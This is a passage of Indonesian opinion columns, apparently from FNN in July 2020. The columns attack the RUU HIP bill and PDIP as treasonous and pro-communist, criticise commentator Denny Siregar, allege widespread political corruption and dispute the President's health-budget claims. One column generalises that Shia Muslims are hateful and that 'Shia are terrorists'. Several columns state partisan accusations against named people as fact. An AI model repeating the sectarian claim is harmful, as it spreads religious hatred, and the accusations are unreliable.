kerjasama yang nyata dalam mewujudkan delik. Delik penyertaan tersebut bukanlah perluasan perbuatan pidana namun perluasan pertangungjawaban pidana. Jadi, “Kesemua pihak yang terlibat dalam pengusulan RUU HIP harus bertanggungjawab,” tegas Abdul Chair Ramadhan. Menurutnya, meski RUU HIP telah dihentikan/dibatalkan dari Prolegnas, namun hal tersebut tidaklah menghilangkan pertanggungjawaban pidana terhadap pihak-pihak terkait, terutama Partai pengusul dan aktor intelektualnya. Artinya, petugas Kepolisian harus tetap memproses LP dari TAKTIS. Bukan lagi Dumas! (Bersambung) Penulis Wartawan Senior

Tinjauan Yuridis (1): Membahas RUU HIP, Khianati Pancasila!

Oleh Mochamad Toha Jakarta, FNN - Menunda pembahasan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP), apalagi sampai membahas dan menetapkannya menjadi sebuah Undang-Undang (UU), itu merupakan pengkhianatan terhadap Pancasila! Mengubah Pancasila menjadi Trisila dan Ekasila adalah perbuatan makar terhadap negara. Karena jelas sekali tertera di dalam RUU HIP itu, inisiator RUU ini (baca: PDIP) tampak ingin mengubah Dasar Negara: Pancasila. Sekjen DPP PDIP Hasto Kristiyanto sendiri mengakui bahwa RUU HIP ini adalah inisiatif dari PDIP yang didukung parpol lainnya di DPR. Motif mereka tidak samar-samar. Mereka berencana untuk menghilangkan agama dari bumi Indonesia. Rencana itu tidak saja melawan pasal-pasal pidana, tetapi juga bertentangan frontal dengan UUD 1945. Di dalam RUU HIP tersirat keinginan untuk menghidupkan kembali komunisme dan marxisme-leninisme di Indonesia. Itu terlihat dari peniadaan Tap MPRS XXV/1966 tentang larangan komunisme (baca PKI) di deretan konsideran RUU HIP. Inilah salah satu fakta yang menyulut reaksi keras dari rakyat dan ormas lewat unjuk rasa 24 Juni 2020 di DPR. Sebagai parpol yang sedang memegang kekuasaan eksekutif maupun legislatif, melalui RUU HIP ini, selain ingin merebut kembali hegemoni tafsir Pancasila. PDIP ingin menghidupkan kembali gagasan Ir. Soekarno. Hal itu terlihat dalam rumusan memeras Pancasila menjadi Trisila. Kemudian diperas lagi menjadi Ekasila: Gotong Royong. Rumusan itu muncul dalam pidato Soekarno pada sidang BPUPKI pada 1 Juni 1945. Padahal, soal rumusan Pancasila sudah selesai pada 18 Agustus 1945. Maka, dengan ditetapkannya UUD 1945 sebagai konstitusi Negara Indonesia menjadi dasar atau landasan struktural dalam penyelenggaraan pemerintahan menurut sistem ketatanegaraan. Makanya, RUU HIP ini ditolak oleh berbagai kalangan, termasuk MUI dan purnawirawan TNI. Satu hal lagi yang membuat berbagai kekuatan agama (ormas Islam) dan purnawirawan TNI itu meradang adalah penolakan PDIP mencantumkan TAP MPRS No 25 Tahun 1966 dalam RUU HIP. Perlu dicatat dan diingat, dalam Ketetapan MPRS itu PKI dibubarkan dan dinyatakan sebagai partai terlarang. Maka, wajar jika langkah politik PDIP ini mengundang kecurigaan. Sikap politik PDIP terhadap TAP MPRS ini sesungguhnya cukup jelas. Sebuah kliping media yang belakangan beredar, menunjukkan pada Sidang Tahunan MPR (2003) PDIP mengagendakan dan akan memperjuangkan pencabutan TAP tersebut. Dasar pertimbangannya adalah HAM (Rakyat Merdeka, 29 Juli 2003). Kini manuver politik PDIP berubah menjadi prahara. Penolakan memasukkan TAP MPRS XXV Tahun 1966 dan memeras Pancasila menjadi Ekasila – meski katanya sudah dicabut – menghidupkan kembali isu lama: bangkitnya PKI. Jadi, wajar kalau kemudian ada desakan agar penggagas RUU HIP itu agar diproses hukum. Pada Rabu, 1 Juli 2020, sekitar pukul 10.30 WIB WNI bernama Rijal Kobar bersama tim pengacara TAKTIS (Tim Advokasi Anti Komunis) mendatangi SPKT Polda Metro Jaya. Mereka datang untuk melaporkan dugaan tindak pidana kejahatan terhadap keamanan negara sebagaimana diatur dalam Pasal 107 b dan 107 d Undang-Undang Nomor 27 THN 1999. Terlapor adalah Rieke Dyah Pitaloka yang memimpin rapat RUU HIP dan Hasto Kristiyanto sebagai Sekjen PDIP. Para terlapor telah menginisiasi dan memimpin serta mengorganisir usaha untuk mengubah Pancasila sebagai dasar negara dan ideologi. “Para terlapor juga diduga menyusupkan, menyebarkan dan jargon dan paham serta ideologi komunis dalam usaha mengubah Pancasila tersebut,” kata Aziz Yanuar, dari Tim Pengacara TAKTIS, dalam rilisnya, Senin, 2 Juli 2020. Tapi, para petugas di SPKT menolak LP pengacara TAKTIS dengan berbagai alasan. Alasan pertama, mereka akan buat tim untuk membuat LP model A apabila polisi menemukan tindak pidana. “Kemudian setelah berargumen cukup panjang, sekitar pukul 14.00 WIB masuk pengaduan masyarakat saja dengan dasar dugaan kami adalah kami tidak diperkenankan buat LP terkait ini karena alasan mereka Pokoknya Harus Dumas,” ungkap Aziz Yanuar. Setelah itu sekitar jam 24.00, “Kami berargumen. Kali ini alasannya masih RUU salah satu objeknya dan belum disahkan. Kami bantah, bahwa jika sudah jadi Undang-Undang akan konyol jika kami buat laporan ke polisi,” lanjutnya. Namun polisi tetap bersikeras hanya mau menerima bentuk Dumas (Pengaduan Masyarakat) atas perkara penting yang mengancam keutuhan bangsa dan negara ini. Akhirnya, “Pada pukul 01.30 WIB kami terpaksa menerima bahwa pihak kepolisian/penegak hukum hanya mau menerima ini sebagai aduan masyarakat (Dumas) dengan Bukti Laporan Pengaduan yang Telah Resmi Kami Terima,” ujar Aziz Yanuar. Artinya, dalam hal ini, mereka menduga, ideologi komunis dan ancaman terhadap pihak yang ingin mengubah Pancasila menjadi komunis masih dianggap hal sepele oleh pemerintah dan penegak hukum. Tinjauan Yuridis Seharusnya petugas Kepolisian tidak serta merta langsung menolak LP Pengacara TAKTIS. DR. H. Abdul Chair Ramadhan, SH, MH, seorang pakar hukum pidana, memberikan tinjauan yuridisnya (Legal Opinion) terkait RUU HIP tersebut. Beberapa tindak pidana terkait menunjuk pada Undang-Undang Nomor 27 Tahun 1999 Tentang Perubahan Kitab-Kitab Undang-Undang Hukum Pidana Yang Berkaitan Dengan Kejahatan Terhadap Keamanan Negara (UU Keamanan Negara); Undang-Undang Nomor 2 Tahun 2011 Tentang Perubahan Atas Undang-Undang Nomor 2 Tahun 2008 Tentang Partai Politik (UU Partai Politik), Undang-Undang Nomor 1 Tahun 1946 Tentang Peraturan Hukum Pidana (UU Peraturan Hukum Pidana) dan Kitab Undang-Undang Hukum Pidana (KUHP). Dugaan terjadinya tindak pidana yang dilakukan partai pengusul RUU dirumuskan sebagai berikut: Pasal 107a jo Pasal 107e huruf a UU Keamanan Negara jo Pasal 40 ayat 5 UU Partai Politik dan/atau Pasal 107d UU Keamanan Negara dan/atau Pasal 107e huruf b UU Keamanan Negara dan/atau Pasal 156a huruf a KUHP dan/atau Pasal 14 ayat 1 UU Peraturan Hukum Pidana jo Pasal 55 ayat 1 ke-1 KUHP. Dengan demikian, susunan dugaan tindak pidana bersifat kumulatif dan/atau alternatif. Lebih lanjut dijelaskan secara singkat sebagai berikut. Pertama, Pasal 107a jo Pasal 107e huruf a UU Kemanan Negara Jo Pasal 40 ayat 5 UU Partai Politik. Di dalam pasal 107a UU Keamanan Negara menunjuk pada perbuatan menyebarkan atau mengembangkan ajaran Komunisme/Marxisme-Leninisme dalam segala bentuk dan perwujudannya. Tindakan ini diketahui dari adanya rumusan RUU HIP yang mengandung ajaran Komunisme/ Marxisme-Leninisme. Bisa dilihat dengan adanya penyebutan “sendi pokok Pancasila adalah Keadilan Sosial” (Pasal 6 ayat 1 RUU HIP). Keberadaannya terhubung dengan Pasal 7 RUU HIP yang menyebutkan bahwa ciri pokok Pancasila berupa Trisila, yaitu: sosio-nasionalisme, sosio-demokrasi, serta ketuhanan yang berkebudayaan. Trisila sebagaimana dimaksud terkristalisasi dalam Ekasila, yaitu gotong-royong. Perihal gotong-royong dapat mengandung makna penyatuan Nasionalisme, Islamisme, dan Marxisme yang kemudian dikenal dengan Nasionalis, Agama, dan Komunis (NASAKOM). Pasal ini tidak menyebutkan adanya suatu maksud untuk mengubah atau mengganti Pancasila sebagai dasar Negara. Dengan demikian, delik dianggap selesai sepanjang telah terpenuhinya semua unsur yang disebutkan. Pasal 107e huruf a UU Kemanan Negara menunjuk pada perbuatan mendirikan organisasi (in casu Partai Politik) yang diketahui atau patut diduga menganut ajaran Komunisme/Marxisme -Leninisme atas dalam segala bentuk dan perwujudannya. Hal ini dapat diketahui dari AD/ART Parpol, apakah ada mengandung paham/ajaran yang menyimpang dari Pancasila. Penyimpangan tersebut diketahui atau patut diduga menganut ajaran Komunisme/Marxisme-Leninisme. (Bersambung) Penulis Wartawan Senior.

Denny Siregar Teror Santri Penghafal Alqur'an

by M. Rizal Fadillah Jakarta FNN - Jum'at (03/07). Bikin masalah lagi Denny Siregar ini. Setelah membully Almira Yudhoyono, kali ini Denny menyebut calon teroris kepada anak anak santri yang sedang berfoto bersama. Payah memang orang ini. Atas ungkapan berbau kebencian pada umat Islam ini, Denny dilaporkan ke Polisi. Tak urung Wakil Gubernur Jawa Barat Uu Ruzhamul Ulum pun angkat bicara. Wagub Jabar ikut mendukung pelaporan atas Denny Siregar. Tidak boleh ada orang yang kebal terhadap hukum, jika menyerang atau menteror anak-anak yang masih polos dan lugu, termasuk Denny Siregar. Anak-anak belom dan tidak mengerti apa itu politik dan kepentingan politik. Makanya Denny harus diproses sampai ke pengadilan. Tulisan "calon teroris" yang diarahkan kepada anak santri adalah "teror" yang dilakukan Deni Siregar. Melukai hati umat Islam, dan melakukan serangan psikologis kepada anak-anak santri. Tak pantas dan sangat menistakan. Meski kalimatnya seperti lembut, tetapi hal itu adalah ujaran kebencian. Melanggar UU ITE. Juga melanggar KUHP tentang penodaan agama. Komisi Perlindungan Anak Indonesia (KPI) juga bisa bertindak. Denny tidak membayangkan andai saja anaknya sendiri yang sedang berfoto bersama teman-temannya, lalu disebut sebagai calon provokator. Atau juga calon perampok dan calon koruptor. Bukan hanya orang tua yang tersinggung, tetapi juga bisa berpengaruh pada kejiwaan anak. Stigma buruk telah ditempelkan kepada anak-anak yang masih polos dan lugu. Terorisme adalah kejahatan khusus. UU No. 5 tahun 2018 membuat rumusan dengan formulasi yang sangat "keras". Ada unsur kekerasan atau ancaman kekerasan, membuat teror atau rasa takut, korban massal, kerusakan obyek vital yang strategis, bermotif ideologi, politik, dan keamanan. Nah tuduhan calon teroris adalah calon pelaku perbuatan kekerasan di atas. Tuduhan yang sangat keji. Denny pernah menyatakan "ya benar, saya syi'ah, any problem with that?" Syi'ah berkarakter pembenci, pelaknat, bahkan penoda. Syiah melaknat shahabat dan istri Nabi Muhammad SAW. Syari'at dilecehkan. Orang yang bukan Syi'ah dikafirkan. Orang Syi'ah memendam dendam pada muslim Sunni. Peristiwa Karbala diungkit-ungkit sebagai spirit Syi'ah untuk menumpahkan darah. Syi'ah adalah teroris. Nah apakah kesyi'ahan Denny Siregar yang membuat pernyataan soal anak-anak santri pesantren Tahfidz Qur'an Darul Ilmi Tasikmalaya ini? Entahlah. Tapi yang jelas ungkapannya patut diduga dapat dikualifikasikan sebagai perbuatan yang layak untuk diproses secara hukum oleh pihak kepolisian. Uji kebenaran formil dan materielnya. Lembaga Swadaya Masyarakat (LSM), organisasi da'wah, pesantren, dan aktivis di Tasikmalaya yang keberatan atas postingan facebook Denny itu sudah tepat melangkah. Kini masyarakat melihat adakah hukum di negara kita masih tegak, adil, dan obyektif ? Denny selama ini sering disebut kebal hukum. Tapi kita yakin bahwa semua sama kedudukan di depan hukum. Yang salah patut dihukum. Semua bergerak sebelum hukum hakiki di hari nanti berlaku bagi para pendosa dan pendusta agama. Itulah mereka yang menyakiti hati umat. Penulis adalah Pemerhati Politik dan Kebangsaan.

Dari New Normal ke New Indonesia

by Tony Rosyid Jakarta FNN – Jum’at (03/07). Pandemi covid-19 belum berakhir. Sampai kapan? Semua prediksi masih meleset. Semua survei belum ada yang tepat. Sementara, rakyat tak tahan lagi di rumah. Tabungan habis. Next, mau makan apa? Berbondong-bondong mereka keluar rumah. Jalankan aktivitas kembali. Kerja dan cari penghidupan. Di luar rumah, situasinya sudah mulai normal. Tapi, kali ini dengan protokol covid-19. Pakai masker dan sebagian masih mau cuci tangan. Tapi, physical and social distancing tak berlaku lagi. Kerumunan, bahkan joget dangdut bersama sudah dimulai. Nggak peduli yang terinveksi perharinya nambah kisaran 1500 orang. Cuek! Inilah New Normal. Hidup dipaksa untuk normal lagi. Mau tak mau. Faktor ekonomi jadi alasan utama. Soal ini, banyak pakar sudah bicara. Berbagai hasil analisis bertebaran di media. Cukup! Saya hanya merenung, kenapa New Normal tidak didorong untuk melahirkan spirit lahirnya New Indonesia? Apa New Indonesia itu? Keadilan sosial. Tentu saja, harus berbasis pada Ketuhanan Yang Maha Esa. Bukan Trisila dan Ekasila. Bagaimana memulainya? Keadilan sosial bisa diwujudkan jika hukum ditegakkan. Pangkal persoalan bangsa ini adalah masalah penegakkan hukum. Jika hukum bener, inysha Allah Indonesia juga bener. Nasib hukum sangat bergantung pada lembaga dan institusinya yang menegakkan hukum. DPR sebagai lembaga yang punya otoritas untuk membuat produk hukum atau konstitusi. Kalau banyak anggota Dewan titipan taipan, gimana mungkin produk hukum itu bisa bener? Aya aya wae. Saat pileg, para pemodal tabur uang. Kabarnya, ada kelompok korporasi dan taipan tententu yang punya anggota dewan di DPR lebih dari seratus orang. Lebih dari satu fraksi paling besar di DPR. Setara dengan fraksi PDIP yang punya anggota dewan lebih dari seratus orang. Ratusan anggota dewan terima jatah dana miliaran rupiah dari sang pemodal itu untuk membiayai kampanye. Dimulai dari biaya kegiatan survei, beli alat peraga, operasional kampanye, serangan fajar, sampai untuk menyuap petugas pemilu dan Bawaslu. Begitulah sistem kerjanya. Ada yang modal sendiri? Pasti ada. Secara jumlah, boleh jadi tak sebanyak yang pakai modal orang lain. Yang disumbangkan oleh korporasi licik, culas dan tamak. Ini hipotesis. Silahkan kesimpulan ini di-cross ceck benar-salahnya. Mahasiswa bisa jadikan ini sebagai obyek penelitian untuk skripsi, tesis atau disertasi. Wajar jika produk hukum itu seringkali terasa nggak rasional. Mereka itu titipan bro. Dari mana saja? Pemodal, taipan dan korporasi. Gimana nasib rakyat dan bangsa yang mau mereka perjuangkan? Sesekali anggota dewan perlu marah-marah ketika sidang. Biar dianggap mereka pro rakyat. Belum lagi faktor penegak hukum. Hulu sampai hilir suka nggak bebas dari transaksi. Markus namanya. Makelar kasus ada dimana-mana. Sudah jadi lahan bisnis mereka. Sudah dianggap sebagai pendapatan. Bahkan ada juga yang anggap itu reziki. Setiap pasal tentu ada harganya. Kenapa jadi begitu? Para pemodal ko cerdas ya? Bisnis dengan sistem ijon. Cari orang-orang yang berpotensi jadi pejabat di institusi hukum untuk 10-30 tahun ke depan. Beli integritas dan loyalitas mereka. Saat mereka menjabat, semua bisa diatur. Jangan harap anda menang perkara melawan para pemodal. Bisa, tetapi susah. Tidak mudah. Kecuali anda penguasa. Tak hanya parlemen dan lembaga hukum yang bermasalah. Eksekutif juga tak lepas dari masalah. Emang istana bisa bebas dari intervensi para pemodal? Kampanye di pilpres itu besar biayanya bro. Bisa puluhan triliun. Dari mana dana itu? Ya, dari pemodal. Emang gratis? Kagak. Jadi, kalau ada kementerian dijabat oleh seorang pemilik modal, ya jangan kaget. Itu sudah hal biasa saja. Belum lagi kepala daerah. Gubernur, bupati dan walikota juga butuh modal saat pilkada. Peluang para pemodal terbuka. Kesempatan mereka berternak uang di dunia politik. Hasilnya berlimpah. Jauh lebih besar dan lebih cepat dari bisnis biasa. Gak perlu kaget kalau ada hasil penelitian bahwa 60 persen kekayaan orang-orang terkaya di Indonesia didapat melalui akses kekuasaan. Anda pasti tak keberatan untuk mengaminkan kesimpulan ini. Yang unik, banyak profesor dan kaum akademisi mendukung keadaan ini. Bahkan ikut numpang cari makan dengan menduduki suatu jabatan dan posisi. Terasa terhormat. Popularitas naik dan dapat menambah portofolio. Mereka tak sadar, bahwa posisi itu salah satu tugasnya adalah jadi tukang stempel kebobrokan negara. Jadi, New Normal dalam situasi pandemi, itu soal kecil. Tak perlu risau dan banyak dipersoalkan. Justru yang jadi persoalan, dan ini sangat serius adalah bagaimana membangun New Indonesia? Gimana caranya? Perbaiki tiga lembaga di atas. Eksekutif, legislatif dan lembaga hukum. Penyelenggara negara harus dijauhkan dari mafia pemodal jabatan, maka akan ada New Indonesia. Indonesia yang sumberdaya alamnya bisa dinikmati rakyat secara adil karena produk hukumnya dibuat dan ditegakkan untuk melindungi kepentingan rakyat. Bukan kepentingan pemodal. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Ayo Kita Tes, Trisila-Ekasila Itu Makar atau Bukan?

by Asyari Usman Jakarta FNN – Jum’at (03/07). Sejauh ini, kepolisian masih belum bertindak. Mereka belum turun tangan mengusut dugaan makar terkait keinginan PDIP untuk memeras Pancasila menjadi Trisila dan Ekasila. Pihak-pihak yang menentang Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) berkali-kali mendesak agar Polisi melakukan pengusutan. Baik. Boleh jadi kepolisian tidak bertindak, karena merasa gagasan Trisila-Ekasila itu bukan perbuatan makar. Atau, bisa juga karena terduga pelaku makar “terlalu besar” untuk diurus oleh Pak Polisi. Wallahu a’lam bishawab. Kita tunggu saja perkembangan selanjutnya. Sekarang, mari kita tes. Sekadar ujicoba untuk memastikan Trisila-Ekasila itu makar atau bukan. Caranya sangat mudah. Dan bisa dilakukan secara terbuka oleh siapa saja. Tidak perlu sembunyi-sembunyi. Begini. Kita minta salah satau “fraksi kanan” di DPR, apakah itu PKS, PKB, PAN, atau PPP, membuat dan mengajukan RUU untuk mengubah Pancasila. Khususnya, sila Ketuhanan Yang Maha Esa. Sebut saja RUU itu berjudul “Solidasi Sila Ketuhanan” (SSK). Singkatnya, RUU SSK. Yang diubah tidak banyak-banyak. Dan tidak ruwet. Yaitu, mengubah sila Ketuhanan Yang Maha Esa menjadi “Katakanlah, Allah Itu Maha Esa”. Ini diambil dari ayat pertama surah al-Ikhlas: “Qul Hua Allahu Ahad”. Itu saja yang diusulkan untuk diubah. Boleh dikatakan, tidak ada perubahan makna yang berarti dari “Ketuhanan Yang Maha Esa”. Dalam RUU SSK ini, partai pengusul (inisiator) tentunya membuat uraian tambahan sebanyak puluhan halaman. Yang menjelaskan perlunya penguatan atau solidasi dasar negara. Jelaskan di dalam RUU SSK bahwa usul mengubah redaksi Ketuhanan Yang Maha Esa menjadi “Katakanlah, Allah Itu Maha Esa” (KAIME) akan meningkatkan kekuatan batin manusia Indonesia. Jelaskan bahwa KAIME akan menjadi sumber ketakwaan yang sesungguhnya. Sedangkan ketakwaan yang sesungguhnya akan menjadikan manusia Indonesia semakin sadar tentang perlunya kebersamaan. Pemahaman KAIME (Qul Hua Allahu Ahad) dengan baik akan menumbuhkan sifat dan watak sosial yang kuat. Yang akhirnya akan menumbuhkan keadilan sosial yang terbaik di dunia. Pokoknya, siapkan narasi yang penjang-lebar dan mendalam bahwa KAIME bukan gagasan manusia. Melainkan wahyu Tuhan. Kalau Trisila dan Ekasila ‘kan cuma pikiran manusia. Sebutlah pikiran Bung Karno. Sedangkan “Qual Hua Allahu Ahad” adalah firman Yang Maha Agung. Siapkan RUU SSK dengan 40 pasal, misalnya. Ajukan ke Badan Legislasi (Baleg) untuk dimasukkan ke dalam program legislasi nasional (prolegnas). Kemudian diusulkan pula pembentukan panitia kerja (panja) yang diketuai oleh salah seorang anggota DPR dari parpol pengusul. Setelah itu kita lihat ada atau tidak orang yang akan meneriakkan makar terhadap RUU SSK. Kalau ada yang mengatakan usul pengubahan KMYE menjadi KAIME sebagai perbuatan makar, berarti memeras Pancasila menjadi Trisila-Ekasila pun adalah perbuatan makar. Sebaliknya, kalau KAIME tidak diteriakkan sebagai perbuatan makar, berarti Trisila-Ekasila bukan rencana makar terhadap dasar negara. Dan dengan demikian RUU SSK dengan usul KAIME-nya bisa dilanjutkan juga. Persoalannya, apakah orang akan senyap saja kalau Ketuhanan Yang Maha Esa diubah menjadi “Katakanlah, Allah Itu Maha Esa”? Kelihatannya tak mungkin itu bisa terjadi. Jadi, silakan salah satu parpol menyusun RUU SSK yang mengandung usul pengubahan KYME menjadi “Katakanlah, Allah Itu Maha Esa”. Apakah itu makar atau bukan? Penulis adalah Wartawan Senior

Pejabat Negara Yang Senang Dengan Lebay

by M. Rizal Fadillah Jakarta FNN – Kamis (02/07). Lebay asal makna lebih, adjektif menjadi berlebihan. Di Kamus Besar Bahasa Indonesia (KBBI) dicari sampai botak pun tidak akan ditemukan. Lebay adalah bahasa gaul. Suatu keadaan yang dibuat-buat oleh pelaku yang semestinya biasa saja. Contoh "dijitak" kepalanya dibilang "dipukul hingga lebam". Lebay dalam bahasa Inggrisnya disebut "over reacting". Negara lebay, tak lain adalah negara dimana para pemimpin atau penyelenggara negara melakukan tindakan yang berlebihan. Publik melihat tidak tersebut "over acting" atau "over reacting". Sesuatu yang sebetulnya tak perlu "begitu-begitu amat". Pemimpin negara yang bertingkah berlebihan itu, menandakan kalau ada kelemahan pada yang bersangkutan. Adanya kelemahan yang mesti ditutupi, atau mungkin cari perhatian yang "aneh-aneh" untuk meningkatkan popularitas diri. Pemimpin yang seperti ini biasanya ada mereka yang miskin narasi, miskin literasi dan miskin diksi. Kasus Walikota Surabaya yang gemar dengan"acting". Menyapu di jalan atau menyemprot desinfektan adalah contoh yang lebay. Lebih lebay kasus sujud Risma di depan dokter Ikatan Dokter Indonesia (IDI). Risma memosisikan diri sebagai "Lebay Mayor". Walikota yang lebay. Marah-marahnya pun menjadi "trade mark". Lebih awal "acting" Gubernur DKI Basuki atau Ahok. Dia yang marah-marah di depan ibu ibu dengan menunjuk-nunjuknya adalah mbahnya lebay pula. Soal komentar Ahok dalam hubungan dengan Puput pun warganet menyebutnya lebay. Ahok adalah "Lebay Governor". Kini sang mantan terpidana penista agama ini menjadi Komut Pertamina. Lebih lebay lagi. Lebay yang paling terakhir adalah adegan marah-marah Pak Jokowi pada sidang kabinet tertutup 18 Juni 2020. Video sidang itu dipublikasikan oleh Setneg tanggal 28 Juni 2020. Sepuluh hari setelah sidang cabinet. Tujuannya, agar seluruh rakyat Indonesia mengetahui bahwa Presiden Jokowi itu tegas dan bisa memarahi menteri-menteri. Adegan inipun dibaca publik sebagai lebay yang berlebihan. Soal marah-marah ini menjadi pertanyaan, apakah itu sebenarnya atau disain? Lalu jika sebenarnya pantaskah dilakukan oleh seorang Presiden ? Akhirnya seperti Risma dan Ahok, Jokowi bisa digelari dengan "Lebay President". Tentu bukan hanya tiga petinggi tersebut saja yang bersikap lebay. Megawati yang mengajar salam Pancasila, yang ditindaklanjuti oleh Yudian Wahyudi Kepala Badan Pembinaan Ideologi Pancasila (BPIP) termasuk yang mengada-ada, alias alias lebay juga. Apalagi Mahfud MD yang mengatakan mudik dan tarawih berjamaah bisa dipidana. Mahfud rupanya suka dengan lebay. PDIP yang menggerakkan kader seluruh Indonesia melapor-lapor ke Polres Polres soal pembakaran bendera adalah lebay. Begitu juga dengan RUU HIP, yang dicoba diganti RUU PIP (Pembinaan Ideologi Pancasila), ya sangat lebay lagi. Rakyat meminta untuk dihentikan pembahasannya. Bukan malah "dilebay-lebaykan”. Bukan juga dengan mengganti nama dari RUU. Harun Masiku dihilangkan. Ini malah moyangnya lebay. Penyiram air keras ke Novel cuma dituntut satu tahun, karena dianggap "tak sengaja" lebay. Ketua KPK Firli Bahuri yang naik helikopter mewah pulang ke kampung halamannya, ya lebay bangat. Sepeda mau dipajakin, sementara yang mewah bebas dari pajak. Itu pasti lebay. Pimpinandari komplotan lebay itu adalah arahan Presiden agar menjual murah lahan negara untuk investor asing. Terlalu banyak lebay-lebay yang menghiasi kehidupan berbangsa dan bernegara kita. Mungkin menjadi layak, jika negara kita saat ini disebut sebagai negara lebay (lebay state). Sungguh menyedihkan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Mengurus Republik, Presiden Dilarang Ngawur

by Dr. Margarito Kamis SH. M. Hum. Diantara mereka yang layak diagungkan karena telah membangun konstitusi-konstitusi semacam itu adalah Lycurgus, yang mengorganisasikan hukum-hukumnya di Sparta dengan sebuah cara yang menempatkan raja, aristocrat dan masyarakat dalam peran yang saling terkait, menciptakan sebuah negara yang dapat bertahan lebih dari delapan ratus tahun, membuat dia dipui selamanya (Niccolo Machiavelli). Jakarta FNN – Kamis (02/07). Pemerintahan yang bertanggung jawab, merupakan impian etis republik. Jenis pemerintahan ini tidak pernah terdefenisikan semata-mata dalam konstitusi. Pemerintahan bertanggung jawab, sebagian besar merupakan tampilan pemahaman pemimpin tentang tanggung jawab dirinya mewujudkan impian besar republik itu. Mengenal diri, mengenal masalah, merancang bimbingan bijak, menyajikan pengarahan yang energik, menentukan arah, strategi, cara dan alat untuk merealisasikan impian. Muncul di sepanjang rute sejarah sebagai penentu keberhasilan republik. Inilah pekerjaan pemimpin negara. Pemimpinlah yang menjadi rujukan sejarah sebagai penentu keberhasilan republik. Ya kesuksesan republik berutang penuh pada pemimpin. Bukan yang lain, siapapun mereka. Tidak boleh ngawur mendefenisikan tanggung jawab dan penggunaan wewenang. Karena itulah kuncinya. Presiden Poros Pemerintahan Presiden itu bukan menteri. Yang UUD 1945 tunjuk sebagai penentu arah pemerintahan negara. Presiden juga bukan menteri, yang menurut UUD 1945, memberi isi dan bobot terhadap pejalanan republik mencapai tujuan bernegara. Presidenlah yang UUD 1945 beri tanggung jawab dan wewenang mendefenisikan arah, strategi, cara dan alat, yang dibutuhkan untuk gerak maju republik. Presiden, dalam konteks itu ditampilkan sebagai pengendali utama kemudi republik ini. Bukan yang lain. Ingat itu baik-baik. Presiden dituntut untuk terus-menerus merancang arah, strategi, memilih cara yang tepat, dalam mengemudikan pemerintahan. Terus-menerus mendefenisikan setiap keadaan yang dibebankan kepada presiden. Bukan yang lain. Semuanya kompleks. Namun sangat jelas tugas dan wewenang itu. Kompleksitas itu meminta Presiden untuk cukup cerdas. Dalam arti dilarang ngawur. Untuk mengurus Negara, Presiden tidak boleh ngawur. Presiden harus tahu lebih dari para pembantunya, cara mendemonstrasikan tanggung jawab dan wewenang itu. Tanggung jawab tidak sama dengan wewenang. Begitu yang digariskan oleh ilmu Hukum Tata Negara dan Administrasi Negara. Dilihat dari sudut ilmu Hukum Tata Negara, keduanya berbeda dalam sifat dan substansinya. Tanggung jawab (responsibility) mengarahkan wewenang (authority). Tanpa tanggung jawab, authority akan menjelma menjadi mesin penindas. Tanggung jawablah yang memberi isi, yang mengarahkan wewenang, bukan sebaliknya. Tanggung jawab tidak pernah berpijak semata-mata pada hukum. Tanggung jawab selalu merupakan kombinasi harmonis antara timbangan-timbangan non hukum dan hukum. Kewenangan, sama pada level tertentu dengan tanggung jawab. Dalam ilmu Hukum Tata Negara dan Administrasi Negara, sepenuhnya didefenisikan dalam hukum. Tidak diluar itu. Tetapi justru disitulah masalah terbesarnya. Jika ngawur dalam mendefenisikan tanggung jawab, dapat berakibat pada ngawur juga dalam menggunakan wewenang itu. Kewenangan yang digunakan secara ngawur, bukan hanya mengurangi rasa hormat, tetapi lebih dari itu. Bukan saja kebencian dan ketakutan yang didapat, tetapi sebagaimana diperlihatkan Orde Lama dan Orde Baru, mengakibatkan republik menjauh dari impian etisnya. Pernyatan bernuansa marah terhadap penyerapan anggaran di bidang kesehatan, itu menarik. Kenyataan-kenyataan terverifikasi yang disodorkan Saleh Daulay, anggota DPR dan Sri Mulyani, Menkeu mengenai anggaran itu, justru berbalik menggoyahkan validitas basis pernyataan Presiden. Apa betul, tanya Saleh Daulay, serapan anggaran di Kementerian Kesehatan untuk penanganan Covid hanya sebesar 1, 53 %? Bila betul, lalu mau dikatakan apa keterangan Menteri Kesehatan di DPR, yang menurut Saleh Daulay, Wakil Ketua Fraksi PAN, serapan dana oleh Kemenkes bukan sebesar 1,53 % sebagaimana disebutkan Presiden Joko Widodo. Menurutnya, dari data yang ada, anggaran Kementerian Kesehatan awalnya adalah sebesar Rp. 57,3 triliun. Setelah penyesuaian dan tambahan anggaran untuk peserta BPJS JKN, naik menjadi Rp 76,5 triliun. “Dalam paparan yang disampaikan kepada kami, kata Saleh, serapan anggaran Kemenkes per 18 Juni 2020 sudah mencapai 47,49 persen. Saleh menyatakan lebih jauh, Kemenkes juga mendapatkan alokasi anggaran untuk penanggulangan covid-19. Dari tambahan anggaran yang disebut sebesar Rp. 75 triliun, sampai sejauh ini yang disetujui oleh kementerian keuangan hanya Rp 25,7 triliun. Dengan demikian, alokasi akhir anggaran Kemenkes adalah Rp 102,2 triliun. Dari alokasi anggaran sebesar Rp. 25,7 triliun tersebut, yang terealisasi baru sebesar Rp. 345 miliar. Sisanya, masih dalam proses revisi DIPA. Bahkan ada yang masih proses pembahasan. Pada titik inilah Saleh Daulay mengajukan pandangan yang saya nilai sangat logis. Saleh lebih jauh menyatakan, kalau masih proses revisi DIPA, lalu apakah kesalahannya ada pada kementerian kesehatan? Saleh berpendapat, dan saya menyetujui pendapatnya, perlu diklarifikasi agar tidak simpang siur (RMol, 30/6/2020). Keliru atau ngawurkah Presiden dalam soal ini? Persis Presiden yang tidak menyebut nama, Menteri Keuangan Sri Mulyani, juga tak menyebut nama. Tetapi kalimatnya menarik. Katanya “jadi dalam hal ini ada yang berpersepsi bahwa anggaran kesehatan baru cair sedikit, seolah-olah itu hanya tanggung jawab Kementerian Kesehatan”. Ibu Menteri ini tegas menyatakan, sebenarnya tidak juga. Pernyataan korektif ini disampaikan Menkeu dalam jumpa pers virtual yang digelar Gugus Tugas Percepatan Penanganan Covid-19 Nasional, Selasa (30/6). Anggaran Pemulihan Ekonomi Nasional (PEN) sebesar Rp 695,20 triliun. Tempat pelaksanaan jumpa pers ini, tepat. Mengapa? Anggaran kesehatan itu menurut Ibu Menteri, 